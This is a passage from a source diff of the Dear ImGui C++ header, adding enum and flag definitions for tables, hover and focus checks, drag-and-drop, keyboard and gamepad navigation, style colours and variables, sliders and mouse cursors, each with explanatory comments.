create a child window, ScrollY is currently generally recommended when using ScrollX. + ImGuiTableFlags_ScrollY = 1 << 24, // Enable vertical scrolling. Require 'outer_size' parameter of BeginTable() to specify the container size. + // Sorting + ImGuiTableFlags_SortMulti = 1 << 25, // Hold shift when clicking headers to sort on multiple column. TableGetSortSpecs() may return specs where (SpecsCount > 1). + ImGuiTableFlags_SortTristate = 1 << 26 // Allow no sorting, disable default sorting. TableGetSortSpecs() may return specs where (SpecsCount == 0). + + // Obsolete names (will be removed soon) +#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS + , ImGuiTableFlags_ColumnsWidthFixed = ImGuiTableFlags_SizingPolicyFixed, ImGuiTableFlags_ColumnsWidthStretch = ImGuiTableFlags_SizingPolicyStretch +#endif +}; + +// Flags for ImGui::TableSetupColumn() +enum ImGuiTableColumnFlags_ +{ + // Input configuration flags + ImGuiTableColumnFlags_None = 0, + ImGuiTableColumnFlags_DefaultHide = 1 << 0, // Default as a hidden/disabled column. + ImGuiTableColumnFlags_DefaultSort = 1 << 1, // Default as a sorting column. + ImGuiTableColumnFlags_WidthStretch = 1 << 2, // Column will stretch. Preferable with horizontal scrolling disabled (default if table sizing policy is _SizingPolicyStretch). + ImGuiTableColumnFlags_WidthFixed = 1 << 3, // Column will not stretch. Preferable with horizontal scrolling enabled (default if table sizing policy is _SizingPolicyFixed and table is resizable). + ImGuiTableColumnFlags_WidthAuto = 1 << 4, // Column will not stretch and keep resizing based on submitted contents (default if table sizing policy is _SizingPolicyFixed and table is not resizable). Generally compatible with using right-most fitting widgets (e.g. SetNextItemWidth(-FLT_MIN)) + ImGuiTableColumnFlags_NoResize = 1 << 5, // Disable manual resizing. + ImGuiTableColumnFlags_NoReorder = 1 << 6, // Disable manual reordering this column, this will also prevent other columns from crossing over this column. + ImGuiTableColumnFlags_NoHide = 1 << 7, // Disable ability to hide/disable this column. + ImGuiTableColumnFlags_NoClip = 1 << 8, // Disable clipping for this column (all NoClip columns will render in a same draw command). + ImGuiTableColumnFlags_NoSort = 1 << 9, // Disable ability to sort on this field (even if ImGuiTableFlags_Sortable is set on the table). + ImGuiTableColumnFlags_NoSortAscending = 1 << 10, // Disable ability to sort in the ascending direction. + ImGuiTableColumnFlags_NoSortDescending = 1 << 11, // Disable ability to sort in the descending direction. + ImGuiTableColumnFlags_NoHeaderWidth = 1 << 12, // Disable header text width contribution to automatic column width. + ImGuiTableColumnFlags_PreferSortAscending = 1 << 13, // Make the initial sort direction Ascending when first sorting on this column (default). + ImGuiTableColumnFlags_PreferSortDescending = 1 << 14, // Make the initial sort direction Descending when first sorting on this column. + ImGuiTableColumnFlags_IndentEnable = 1 << 15, // Use current Indent value when entering cell (default for column 0). + ImGuiTableColumnFlags_IndentDisable = 1 << 16, // Ignore current Indent value when entering cell (default for columns > 0). Indentation changes _within_ the cell will still be honored. + + // Output status flags, read-only via TableGetColumnFlags() + ImGuiTableColumnFlags_IsEnabled = 1 << 20, // Status: is enabled == not hidden by user/api (referred to as "Hide" in _DefaultHide and _NoHide) flags. + ImGuiTableColumnFlags_IsVisible = 1 << 21, // Status: is visible == is enabled AND not clipped by scrolling. + ImGuiTableColumnFlags_IsSorted = 1 << 22, // Status: is currently part of the sort specs + ImGuiTableColumnFlags_IsHovered = 1 << 23, // Status: is hovered by mouse + + // [Internal] Combinations and masks + ImGuiTableColumnFlags_WidthMask_ = ImGuiTableColumnFlags_WidthStretch | ImGuiTableColumnFlags_WidthFixed | ImGuiTableColumnFlags_WidthAuto, + ImGuiTableColumnFlags_IndentMask_ = ImGuiTableColumnFlags_IndentEnable | ImGuiTableColumnFlags_IndentDisable, + ImGuiTableColumnFlags_StatusMask_ = ImGuiTableColumnFlags_IsEnabled | ImGuiTableColumnFlags_IsVisible | ImGuiTableColumnFlags_IsSorted | ImGuiTableColumnFlags_IsHovered, + ImGuiTableColumnFlags_NoDirectResize_ = 1 << 30 // [Internal] Disable user resizing this column directly (it may however we resized indirectly from its left edge) +}; + +// Flags for ImGui::TableNextRow() +enum ImGuiTableRowFlags_ +{ + ImGuiTableRowFlags_None = 0, + ImGuiTableRowFlags_Headers = 1 << 0 // Identify header row (set default background color + width of its contents accounted different for auto column width) +}; + +// Enum for ImGui::TableSetBgColor() +// Background colors are rendering in 3 layers: +// - Layer 0: draw with RowBg0 color if set, otherwise draw with ColumnBg0 if set. +// - Layer 1: draw with RowBg1 color if set, otherwise draw with ColumnBg1 if set. +// - Layer 2: draw with CellBg color if set. +// The purpose of the two row/columns layers is to let you decide if a background color changes should override or blend with the existing color. +// When using ImGuiTableFlags_RowBg on the table, each row has the RowBg0 color automatically set for odd/even rows. +// If you set the color of RowBg0 target, your color will override the existing RowBg0 color. +// If you set the color of RowBg1 or ColumnBg1 target, your color will blend over the RowBg0 color. +enum ImGuiTableBgTarget_ +{ + ImGuiTableBgTarget_None = 0, + ImGuiTableBgTarget_RowBg0 = 1, // Set row background color 0 (generally used for background, automatically set when ImGuiTableFlags_RowBg is used) + ImGuiTableBgTarget_RowBg1 = 2, // Set row background color 1 (generally used for selection marking) + ImGuiTableBgTarget_CellBg = 3 // Set cell background color (top-most color) +}; + +// Flags for ImGui::IsWindowFocused() +enum ImGuiFocusedFlags_ +{ + ImGuiFocusedFlags_None = 0, + ImGuiFocusedFlags_ChildWindows = 1 << 0, // IsWindowFocused(): Return true if any children of the window is focused + ImGuiFocusedFlags_RootWindow = 1 << 1, // IsWindowFocused(): Test from root window (top most parent of the current hierarchy) + ImGuiFocusedFlags_AnyWindow = 1 << 2, // IsWindowFocused(): Return true if any window is focused. Important: If you are trying to tell how to dispatch your low-level inputs, do NOT use this. Use 'io.WantCaptureMouse' instead! Please read the FAQ! + ImGuiFocusedFlags_RootAndChildWindows = ImGuiFocusedFlags_RootWindow | ImGuiFocusedFlags_ChildWindows +}; + +// Flags for ImGui::IsItemHovered(), ImGui::IsWindowHovered() +// Note: if you are trying to check whether your mouse should be dispatched to Dear ImGui or to your app, you should use 'io.WantCaptureMouse' instead! Please read the FAQ! +// Note: windows with the ImGuiWindowFlags_NoInputs flag are ignored by IsWindowHovered() calls. +enum ImGuiHoveredFlags_ +{ + ImGuiHoveredFlags_None = 0, // Return true if directly over the item/window, not obstructed by another window, not obstructed by an active popup or modal blocking inputs under them. + ImGuiHoveredFlags_ChildWindows = 1 << 0, // IsWindowHovered() only: Return true if any children of the window is hovered + ImGuiHoveredFlags_RootWindow = 1 << 1, // IsWindowHovered() only: Test from root window (top most parent of the current hierarchy) + ImGuiHoveredFlags_AnyWindow = 1 << 2, // IsWindowHovered() only: Return true if any window is hovered + ImGuiHoveredFlags_AllowWhenBlockedByPopup = 1 << 3, // Return true even if a popup window is normally blocking access to this item/window + //ImGuiHoveredFlags_AllowWhenBlockedByModal = 1 << 4, // Return true even if a modal popup window is normally blocking access to this item/window. FIXME-TODO: Unavailable yet. + ImGuiHoveredFlags_AllowWhenBlockedByActiveItem = 1 << 5, // Return true even if an active item is blocking access to this item/window. Useful for Drag and Drop patterns. + ImGuiHoveredFlags_AllowWhenOverlapped = 1 << 6, // Return true even if the position is obstructed or overlapped by another window + ImGuiHoveredFlags_AllowWhenDisabled = 1 << 7, // Return true even if the item is disabled + ImGuiHoveredFlags_RectOnly = ImGuiHoveredFlags_AllowWhenBlockedByPopup | ImGuiHoveredFlags_AllowWhenBlockedByActiveItem | ImGuiHoveredFlags_AllowWhenOverlapped, + ImGuiHoveredFlags_RootAndChildWindows = ImGuiHoveredFlags_RootWindow | ImGuiHoveredFlags_ChildWindows +}; + +// Flags for ImGui::BeginDragDropSource(), ImGui::AcceptDragDropPayload() +enum ImGuiDragDropFlags_ +{ + ImGuiDragDropFlags_None = 0, + // BeginDragDropSource() flags + ImGuiDragDropFlags_SourceNoPreviewTooltip = 1 << 0, // By default, a successful call to BeginDragDropSource opens a tooltip so you can display a preview or description of the source contents. This flag disable this behavior. + ImGuiDragDropFlags_SourceNoDisableHover = 1 << 1, // By default, when dragging we clear data so that IsItemHovered() will return false, to avoid subsequent user code submitting tooltips. This flag disable this behavior so you can still call IsItemHovered() on the source item. + ImGuiDragDropFlags_SourceNoHoldToOpenOthers = 1 << 2, // Disable the behavior that allows to open tree nodes and collapsing header by holding over them while dragging a source item. + ImGuiDragDropFlags_SourceAllowNullID = 1 << 3, // Allow items such as Text(), Image() that have no unique identifier to be used as drag source, by manufacturing a temporary identifier based on their window-relative position. This is extremely unusual within the dear imgui ecosystem and so we made it explicit. + ImGuiDragDropFlags_SourceExtern = 1 << 4, // External source (from outside of dear imgui), won't attempt to read current item/window info. Will always return true. Only one Extern source can be active simultaneously. + ImGuiDragDropFlags_SourceAutoExpirePayload = 1 << 5, // Automatically expire the payload if the source cease to be submitted (otherwise payloads are persisting while being dragged) + // AcceptDragDropPayload() flags + ImGuiDragDropFlags_AcceptBeforeDelivery = 1 << 10, // AcceptDragDropPayload() will returns true even before the mouse button is released. You can then call IsDelivery() to test if the payload needs to be delivered. + ImGuiDragDropFlags_AcceptNoDrawDefaultRect = 1 << 11, // Do not draw the default highlight rectangle when hovering over target. + ImGuiDragDropFlags_AcceptNoPreviewTooltip = 1 << 12, // Request hiding the BeginDragDropSource tooltip from the BeginDragDropTarget site. + ImGuiDragDropFlags_AcceptPeekOnly = ImGuiDragDropFlags_AcceptBeforeDelivery | ImGuiDragDropFlags_AcceptNoDrawDefaultRect // For peeking ahead and inspecting the payload before delivery. +}; + +// Standard Drag and Drop payload types. You can define you own payload types using short strings. Types starting with '_' are defined by Dear ImGui. +#define IMGUI_PAYLOAD_TYPE_COLOR_3F "_COL3F" // float[3]: Standard type for colors, without alpha. User code may use this type. +#define IMGUI_PAYLOAD_TYPE_COLOR_4F "_COL4F" // float[4]: Standard type for colors. User code may use this type. + +// A primary data type +enum ImGuiDataType_ +{ + ImGuiDataType_S8, // signed char / char (with sensible compilers) + ImGuiDataType_U8, // unsigned char + ImGuiDataType_S16, // short + ImGuiDataType_U16, // unsigned short + ImGuiDataType_S32, // int + ImGuiDataType_U32, // unsigned int + ImGuiDataType_S64, // long long / __int64 + ImGuiDataType_U64, // unsigned long long / unsigned __int64 + ImGuiDataType_Float, // float + ImGuiDataType_Double, // double + ImGuiDataType_COUNT +}; + +// A cardinal direction +enum ImGuiDir_ +{ + ImGuiDir_None = -1, + ImGuiDir_Left = 0, + ImGuiDir_Right = 1, + ImGuiDir_Up = 2, + ImGuiDir_Down = 3, + ImGuiDir_COUNT +}; + +// A sorting direction +enum ImGuiSortDirection_ +{ + ImGuiSortDirection_None = 0, + ImGuiSortDirection_Ascending = 1, // Ascending = 0->9, A->Z etc. + ImGuiSortDirection_Descending = 2 // Descending = 9->0, Z->A etc. +}; + +// User fill ImGuiIO.KeyMap[] array with indices into the ImGuiIO.KeysDown[512] array +enum ImGuiKey_ +{ + ImGuiKey_Tab, + ImGuiKey_LeftArrow, + ImGuiKey_RightArrow, + ImGuiKey_UpArrow, + ImGuiKey_DownArrow, + ImGuiKey_PageUp, + ImGuiKey_PageDown, + ImGuiKey_Home, + ImGuiKey_End, + ImGuiKey_Insert, + ImGuiKey_Delete, + ImGuiKey_Backspace, + ImGuiKey_Space, + ImGuiKey_Enter, + ImGuiKey_Escape, + ImGuiKey_KeyPadEnter, + ImGuiKey_A, // for text edit CTRL+A: select all + ImGuiKey_C, // for text edit CTRL+C: copy + ImGuiKey_V, // for text edit CTRL+V: paste + ImGuiKey_X, // for text edit CTRL+X: cut + ImGuiKey_Y, // for text edit CTRL+Y: redo + ImGuiKey_Z, // for text edit CTRL+Z: undo + ImGuiKey_COUNT +}; + +// To test io.KeyMods (which is a combination of individual fields io.KeyCtrl, io.KeyShift, io.KeyAlt set by user/backend) +enum ImGuiKeyModFlags_ +{ + ImGuiKeyModFlags_None = 0, + ImGuiKeyModFlags_Ctrl = 1 << 0, + ImGuiKeyModFlags_Shift = 1 << 1, + ImGuiKeyModFlags_Alt = 1 << 2, + ImGuiKeyModFlags_Super = 1 << 3 +}; + +// Gamepad/Keyboard navigation +// Keyboard: Set io.ConfigFlags |= ImGuiConfigFlags_NavEnableKeyboard to enable. NewFrame() will automatically fill io.NavInputs[] based on your io.KeysDown[] + io.KeyMap[] arrays. +// Gamepad: Set io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad to enable. Backend: set ImGuiBackendFlags_HasGamepad and fill the io.NavInputs[] fields before calling NewFrame(). Note that io.NavInputs[] is cleared by EndFrame(). +// Read instructions in imgui.cpp for more details. Download PNG/PSD at http://dearimgui.org/controls_sheets. +enum ImGuiNavInput_ +{ + // Gamepad Mapping + ImGuiNavInput_Activate, // activate / open / toggle / tweak value // e.g. Cross (PS4), A (Xbox), A (Switch), Space (Keyboard) + ImGuiNavInput_Cancel, // cancel / close / exit // e.g. Circle (PS4), B (Xbox), B (Switch), Escape (Keyboard) + ImGuiNavInput_Input, // text input / on-screen keyboard // e.g. Triang.(PS4), Y (Xbox), X (Switch), Return (Keyboard) + ImGuiNavInput_Menu, // tap: toggle menu / hold: focus, move, resize // e.g. Square (PS4), X (Xbox), Y (Switch), Alt (Keyboard) + ImGuiNavInput_DpadLeft, // move / tweak / resize window (w/ PadMenu) // e.g. D-pad Left/Right/Up/Down (Gamepads), Arrow keys (Keyboard) + ImGuiNavInput_DpadRight, // + ImGuiNavInput_DpadUp, // + ImGuiNavInput_DpadDown, // + ImGuiNavInput_LStickLeft, // scroll / move window (w/ PadMenu) // e.g. Left Analog Stick Left/Right/Up/Down + ImGuiNavInput_LStickRight, // + ImGuiNavInput_LStickUp, // + ImGuiNavInput_LStickDown, // + ImGuiNavInput_FocusPrev, // next window (w/ PadMenu) // e.g. L1 or L2 (PS4), LB or LT (Xbox), L or ZL (Switch) + ImGuiNavInput_FocusNext, // prev window (w/ PadMenu) // e.g. R1 or R2 (PS4), RB or RT (Xbox), R or ZL (Switch) + ImGuiNavInput_TweakSlow, // slower tweaks // e.g. L1 or L2 (PS4), LB or LT (Xbox), L or ZL (Switch) + ImGuiNavInput_TweakFast, // faster tweaks // e.g. R1 or R2 (PS4), RB or RT (Xbox), R or ZL (Switch) + + // [Internal] Don't use directly! This is used internally to differentiate keyboard from gamepad inputs for behaviors that require to differentiate them. + // Keyboard behavior that have no corresponding gamepad mapping (e.g. CTRL+TAB) will be directly reading from io.KeysDown[] instead of io.NavInputs[]. + ImGuiNavInput_KeyMenu_, // toggle menu // = io.KeyAlt + ImGuiNavInput_KeyLeft_, // move left // = Arrow keys + ImGuiNavInput_KeyRight_, // move right + ImGuiNavInput_KeyUp_, // move up + ImGuiNavInput_KeyDown_, // move down + ImGuiNavInput_COUNT, + ImGuiNavInput_InternalStart_ = ImGuiNavInput_KeyMenu_ +}; + +// Configuration flags stored in io.ConfigFlags. Set by user/application. +enum ImGuiConfigFlags_ +{ + ImGuiConfigFlags_None = 0, + ImGuiConfigFlags_NavEnableKeyboard = 1 << 0, // Master keyboard navigation enable flag. NewFrame() will automatically fill io.NavInputs[] based on io.KeysDown[]. + ImGuiConfigFlags_NavEnableGamepad = 1 << 1, // Master gamepad navigation enable flag. This is mostly to instruct your imgui backend to fill io.NavInputs[]. Backend also needs to set ImGuiBackendFlags_HasGamepad. + ImGuiConfigFlags_NavEnableSetMousePos = 1 << 2, // Instruct navigation to move the mouse cursor. May be useful on TV/console systems where moving a virtual mouse is awkward. Will update io.MousePos and set io.WantSetMousePos=true. If enabled you MUST honor io.WantSetMousePos requests in your backend, otherwise ImGui will react as if the mouse is jumping around back and forth. + ImGuiConfigFlags_NavNoCaptureKeyboard = 1 << 3, // Instruct navigation to not set the io.WantCaptureKeyboard flag when io.NavActive is set. + ImGuiConfigFlags_NoMouse = 1 << 4, // Instruct imgui to clear mouse position/buttons in NewFrame(). This allows ignoring the mouse information set by the backend. + ImGuiConfigFlags_NoMouseCursorChange = 1 << 5, // Instruct backend to not alter mouse cursor shape and visibility. Use if the backend cursor changes are interfering with yours and you don't want to use SetMouseCursor() to change mouse cursor. You may want to honor requests from imgui by reading GetMouseCursor() yourself instead. + + // User storage (to allow your backend/engine to communicate to code that may be shared between multiple projects. Those flags are not used by core Dear ImGui) + ImGuiConfigFlags_IsSRGB = 1 << 20, // Application is SRGB-aware. + ImGuiConfigFlags_IsTouchScreen = 1 << 21 // Application is using a touch screen instead of a mouse. +}; + +// Backend capabilities flags stored in io.BackendFlags. Set by imgui_impl_xxx or custom backend. +enum ImGuiBackendFlags_ +{ + ImGuiBackendFlags_None = 0, + ImGuiBackendFlags_HasGamepad = 1 << 0, // Backend Platform supports gamepad and currently has one connected. + ImGuiBackendFlags_HasMouseCursors = 1 << 1, // Backend Platform supports honoring GetMouseCursor() value to change the OS cursor shape. + ImGuiBackendFlags_HasSetMousePos = 1 << 2, // Backend Platform supports io.WantSetMousePos requests to reposition the OS mouse position (only used if ImGuiConfigFlags_NavEnableSetMousePos is set). + ImGuiBackendFlags_RendererHasVtxOffset = 1 << 3 // Backend Renderer supports ImDrawCmd::VtxOffset. This enables output of large meshes (64K+ vertices) while still using 16-bit indices. +}; + +// Enumeration for PushStyleColor() / PopStyleColor() +enum ImGuiCol_ +{ + ImGuiCol_Text, + ImGuiCol_TextDisabled, + ImGuiCol_WindowBg, // Background of normal windows + ImGuiCol_ChildBg, // Background of child windows + ImGuiCol_PopupBg, // Background of popups, menus, tooltips windows + ImGuiCol_Border, + ImGuiCol_BorderShadow, + ImGuiCol_FrameBg, // Background of checkbox, radio button, plot, slider, text input + ImGuiCol_FrameBgHovered, + ImGuiCol_FrameBgActive, + ImGuiCol_TitleBg, + ImGuiCol_TitleBgActive, + ImGuiCol_TitleBgCollapsed, + ImGuiCol_MenuBarBg, + ImGuiCol_ScrollbarBg, + ImGuiCol_ScrollbarGrab, + ImGuiCol_ScrollbarGrabHovered, + ImGuiCol_ScrollbarGrabActive, + ImGuiCol_CheckMark, + ImGuiCol_SliderGrab, + ImGuiCol_SliderGrabActive, + ImGuiCol_Button, + ImGuiCol_ButtonHovered, + ImGuiCol_ButtonActive, + ImGuiCol_Header, // Header* colors are used for CollapsingHeader, TreeNode, Selectable, MenuItem + ImGuiCol_HeaderHovered, + ImGuiCol_HeaderActive, + ImGuiCol_Separator, + ImGuiCol_SeparatorHovered, + ImGuiCol_SeparatorActive, + ImGuiCol_ResizeGrip, + ImGuiCol_ResizeGripHovered, + ImGuiCol_ResizeGripActive, + ImGuiCol_Tab, + ImGuiCol_TabHovered, + ImGuiCol_TabActive, + ImGuiCol_TabUnfocused, + ImGuiCol_TabUnfocusedActive, + ImGuiCol_PlotLines, + ImGuiCol_PlotLinesHovered, + ImGuiCol_PlotHistogram, + ImGuiCol_PlotHistogramHovered, + ImGuiCol_TableHeaderBg, // Table header background + ImGuiCol_TableBorderStrong, // Table outer and header borders (prefer using Alpha=1.0 here) + ImGuiCol_TableBorderLight, // Table inner borders (prefer using Alpha=1.0 here) + ImGuiCol_TableRowBg, // Table row background (even rows) + ImGuiCol_TableRowBgAlt, // Table row background (odd rows) + ImGuiCol_TextSelectedBg, + ImGuiCol_DragDropTarget, + ImGuiCol_NavHighlight, // Gamepad/keyboard: current highlighted item + ImGuiCol_NavWindowingHighlight, // Highlight window when using CTRL+TAB + ImGuiCol_NavWindowingDimBg, // Darken/colorize entire screen behind the CTRL+TAB window list, when active + ImGuiCol_ModalWindowDimBg, // Darken/colorize entire screen behind a modal window, when one is active + ImGuiCol_COUNT +}; + +// Enumeration for PushStyleVar() / PopStyleVar() to temporarily modify the ImGuiStyle structure. +// - The enum only refers to fields of ImGuiStyle which makes sense to be pushed/popped inside UI code. +// During initialization or between frames, feel free to just poke into ImGuiStyle directly. +// - Tip: Use your programming IDE navigation facilities on the names in the _second column_ below to find the actual members and their description. +// In Visual Studio IDE: CTRL+comma ("Edit.NavigateTo") can follow symbols in comments, whereas CTRL+F12 ("Edit.GoToImplementation") cannot. +// With Visual Assist installed: ALT+G ("VAssistX.GoToImplementation") can also follow symbols in comments. +// - When changing this enum, you need to update the associated internal table GStyleVarInfo[] accordingly. This is where we link enum values to members offset/type. +enum ImGuiStyleVar_ +{ + // Enum name --------------------- // Member in ImGuiStyle structure (see ImGuiStyle for descriptions) + ImGuiStyleVar_Alpha, // float Alpha + ImGuiStyleVar_WindowPadding, // ImVec2 WindowPadding + ImGuiStyleVar_WindowRounding, // float WindowRounding + ImGuiStyleVar_WindowBorderSize, // float WindowBorderSize + ImGuiStyleVar_WindowMinSize, // ImVec2 WindowMinSize + ImGuiStyleVar_WindowTitleAlign, // ImVec2 WindowTitleAlign + ImGuiStyleVar_ChildRounding, // float ChildRounding + ImGuiStyleVar_ChildBorderSize, // float ChildBorderSize + ImGuiStyleVar_PopupRounding, // float PopupRounding + ImGuiStyleVar_PopupBorderSize, // float PopupBorderSize + ImGuiStyleVar_FramePadding, // ImVec2 FramePadding + ImGuiStyleVar_FrameRounding, // float FrameRounding + ImGuiStyleVar_FrameBorderSize, // float FrameBorderSize + ImGuiStyleVar_ItemSpacing, // ImVec2 ItemSpacing + ImGuiStyleVar_ItemInnerSpacing, // ImVec2 ItemInnerSpacing + ImGuiStyleVar_IndentSpacing, // float IndentSpacing + ImGuiStyleVar_CellPadding, // ImVec2 CellPadding + ImGuiStyleVar_ScrollbarSize, // float ScrollbarSize + ImGuiStyleVar_ScrollbarRounding, // float ScrollbarRounding + ImGuiStyleVar_GrabMinSize, // float GrabMinSize + ImGuiStyleVar_GrabRounding, // float GrabRounding + ImGuiStyleVar_TabRounding, // float TabRounding + ImGuiStyleVar_ButtonTextAlign, // ImVec2 ButtonTextAlign + ImGuiStyleVar_SelectableTextAlign, // ImVec2 SelectableTextAlign + ImGuiStyleVar_COUNT +}; + +// Flags for InvisibleButton() [extended in imgui_internal.h] +enum ImGuiButtonFlags_ +{ + ImGuiButtonFlags_None = 0, + ImGuiButtonFlags_MouseButtonLeft = 1 << 0, // React on left mouse button (default) + ImGuiButtonFlags_MouseButtonRight = 1 << 1, // React on right mouse button + ImGuiButtonFlags_MouseButtonMiddle = 1 << 2, // React on center mouse button + + // [Internal] + ImGuiButtonFlags_MouseButtonMask_ = ImGuiButtonFlags_MouseButtonLeft | ImGuiButtonFlags_MouseButtonRight | ImGuiButtonFlags_MouseButtonMiddle, + ImGuiButtonFlags_MouseButtonDefault_ = ImGuiButtonFlags_MouseButtonLeft +}; + +// Flags for ColorEdit3() / ColorEdit4() / ColorPicker3() / ColorPicker4() / ColorButton() +enum ImGuiColorEditFlags_ +{ + ImGuiColorEditFlags_None = 0, + ImGuiColorEditFlags_NoAlpha = 1 << 1, // // ColorEdit, ColorPicker, ColorButton: ignore Alpha component (will only read 3 components from the input pointer). + ImGuiColorEditFlags_NoPicker = 1 << 2, // // ColorEdit: disable picker when clicking on color square. + ImGuiColorEditFlags_NoOptions = 1 << 3, // // ColorEdit: disable toggling options menu when right-clicking on inputs/small preview. + ImGuiColorEditFlags_NoSmallPreview = 1 << 4, // // ColorEdit, ColorPicker: disable color square preview next to the inputs. (e.g. to show only the inputs) + ImGuiColorEditFlags_NoInputs = 1 << 5, // // ColorEdit, ColorPicker: disable inputs sliders/text widgets (e.g. to show only the small preview color square). + ImGuiColorEditFlags_NoTooltip = 1 << 6, // // ColorEdit, ColorPicker, ColorButton: disable tooltip when hovering the preview. + ImGuiColorEditFlags_NoLabel = 1 << 7, // // ColorEdit, ColorPicker: disable display of inline text label (the label is still forwarded to the tooltip and picker). + ImGuiColorEditFlags_NoSidePreview = 1 << 8, // // ColorPicker: disable bigger color preview on right side of the picker, use small color square preview instead. + ImGuiColorEditFlags_NoDragDrop = 1 << 9, // // ColorEdit: disable drag and drop target. ColorButton: disable drag and drop source. + ImGuiColorEditFlags_NoBorder = 1 << 10, // // ColorButton: disable border (which is enforced by default) + + // User Options (right-click on widget to change some of them). + ImGuiColorEditFlags_AlphaBar = 1 << 16, // // ColorEdit, ColorPicker: show vertical alpha bar/gradient in picker. + ImGuiColorEditFlags_AlphaPreview = 1 << 17, // // ColorEdit, ColorPicker, ColorButton: display preview as a transparent color over a checkerboard, instead of opaque. + ImGuiColorEditFlags_AlphaPreviewHalf= 1 << 18, // // ColorEdit, ColorPicker, ColorButton: display half opaque / half checkerboard, instead of opaque. + ImGuiColorEditFlags_HDR = 1 << 19, // // (WIP) ColorEdit: Currently only disable 0.0f..1.0f limits in RGBA edition (note: you probably want to use ImGuiColorEditFlags_Float flag as well). + ImGuiColorEditFlags_DisplayRGB = 1 << 20, // [Display] // ColorEdit: override _display_ type among RGB/HSV/Hex. ColorPicker: select any combination using one or more of RGB/HSV/Hex. + ImGuiColorEditFlags_DisplayHSV = 1 << 21, // [Display] // " + ImGuiColorEditFlags_DisplayHex = 1 << 22, // [Display] // " + ImGuiColorEditFlags_Uint8 = 1 << 23, // [DataType] // ColorEdit, ColorPicker, ColorButton: _display_ values formatted as 0..255. + ImGuiColorEditFlags_Float = 1 << 24, // [DataType] // ColorEdit, ColorPicker, ColorButton: _display_ values formatted as 0.0f..1.0f floats instead of 0..255 integers. No round-trip of value via integers. + ImGuiColorEditFlags_PickerHueBar = 1 << 25, // [Picker] // ColorPicker: bar for Hue, rectangle for Sat/Value. + ImGuiColorEditFlags_PickerHueWheel = 1 << 26, // [Picker] // ColorPicker: wheel for Hue, triangle for Sat/Value. + ImGuiColorEditFlags_InputRGB = 1 << 27, // [Input] // ColorEdit, ColorPicker: input and output data in RGB format. + ImGuiColorEditFlags_InputHSV = 1 << 28, // [Input] // ColorEdit, ColorPicker: input and output data in HSV format. + + // Defaults Options. You can set application defaults using SetColorEditOptions(). The intent is that you probably don't want to + // override them in most of your calls. Let the user choose via the option menu and/or call SetColorEditOptions() once during startup. + ImGuiColorEditFlags__OptionsDefault = ImGuiColorEditFlags_Uint8 | ImGuiColorEditFlags_DisplayRGB | ImGuiColorEditFlags_InputRGB | ImGuiColorEditFlags_PickerHueBar, + + // [Internal] Masks + ImGuiColorEditFlags__DisplayMask = ImGuiColorEditFlags_DisplayRGB | ImGuiColorEditFlags_DisplayHSV | ImGuiColorEditFlags_DisplayHex, + ImGuiColorEditFlags__DataTypeMask = ImGuiColorEditFlags_Uint8 | ImGuiColorEditFlags_Float, + ImGuiColorEditFlags__PickerMask = ImGuiColorEditFlags_PickerHueWheel | ImGuiColorEditFlags_PickerHueBar, + ImGuiColorEditFlags__InputMask = ImGuiColorEditFlags_InputRGB | ImGuiColorEditFlags_InputHSV + + // Obsolete names (will be removed) +#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS + , ImGuiColorEditFlags_RGB = ImGuiColorEditFlags_DisplayRGB, ImGuiColorEditFlags_HSV = ImGuiColorEditFlags_DisplayHSV, ImGuiColorEditFlags_HEX = ImGuiColorEditFlags_DisplayHex // [renamed in 1.69] +#endif +}; + +// Flags for DragFloat(), DragInt(), SliderFloat(), SliderInt() etc. +// We use the same sets of flags for DragXXX() and SliderXXX() functions as the features are the same and it makes it easier to swap them. +enum ImGuiSliderFlags_ +{ + ImGuiSliderFlags_None = 0, + ImGuiSliderFlags_AlwaysClamp = 1 << 4, // Clamp value to min/max bounds when input manually with CTRL+Click. By default CTRL+Click allows going out of bounds. + ImGuiSliderFlags_Logarithmic = 1 << 5, // Make the widget logarithmic (linear otherwise). Consider using ImGuiSliderFlags_NoRoundToFormat with this if using a format-string with small amount of digits. + ImGuiSliderFlags_NoRoundToFormat = 1 << 6, // Disable rounding underlying value to match precision of the display format string (e.g. %.3f values are rounded to those 3 digits) + ImGuiSliderFlags_NoInput = 1 << 7, // Disable CTRL+Click or Enter key allowing to input text directly into the widget + ImGuiSliderFlags_InvalidMask_ = 0x7000000F // [Internal] We treat using those bits as being potentially a 'float power' argument from the previous API that has got miscast to this enum, and will trigger an assert if needed. + + // Obsolete names (will be removed) +#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS + , ImGuiSliderFlags_ClampOnInput = ImGuiSliderFlags_AlwaysClamp // [renamed in 1.79] +#endif +}; + +// Identify a mouse button. +// Those values are guaranteed to be stable and we frequently use 0/1 directly. Named enums provided for convenience. +enum ImGuiMouseButton_ +{ + ImGuiMouseButton_Left = 0, + ImGuiMouseButton_Right = 1, + ImGuiMouseButton_Middle = 2, + ImGuiMouseButton_COUNT = 5 +}; + +// Enumeration for GetMouseCursor() +// User code may request backend to display given cursor by calling SetMouseCursor(), which is why we have some cursors that are marked unused here +enum ImGuiMouseCursor_ +{ + ImGuiMouseCursor_None = -1, + ImGuiMouseCursor_Arrow = 0, + ImGuiMouseCursor_TextInput, // When hovering over InputText, etc. + ImGuiMouseCursor_ResizeAll, // (Unused by Dear ImGui functions) + ImGuiMouseCursor_ResizeNS, // When hovering over an horizontal border + ImGuiMouseCursor_ResizeEW, // When hovering over a vertical border or a column + ImGuiMouseCursor_ResizeNESW, // When hovering over the bottom-left corner of a window + ImGuiMouseCursor_ResizeNWSE, // When hovering over the bottom-right corner of a window + ImGuiMouseCursor_Hand, // (Unused by Dear ImGui functions. Use for e.g. hyperlinks) + ImGuiMouseCursor_NotAllowed, // When hovering something with disallowed interaction. Usually a crossed circle. + ImGuiMouseCursor_COUNT +}; + +// Enumeration for ImGui::SetWindow***(), SetNextWindow***(), SetNextItem***() functions +// Represent a condition. +// Important: Treat as a regular enum! Do NOT combine multiple values using binary operators! All the functions above treat 0 as a shortcut to ImGuiCond_Always. +enum ImGuiCond_ +{ + ImGuiCond_None = 0, // No condition (always set the variable), same as _Always + ImGuiCond_Always = 1 << 0, // No condition (always set the variable) + ImGuiCond_Once = 1 << 1, // Set the variable once per runtime session (only the first call will succeed) + ImGuiCond_FirstUseEver = 1 << 2, // Set the variable if the object/window has no persistently saved data (no entry in .ini file) + ImGuiCond_Appearing = 1 << 3 // Set the variable if the 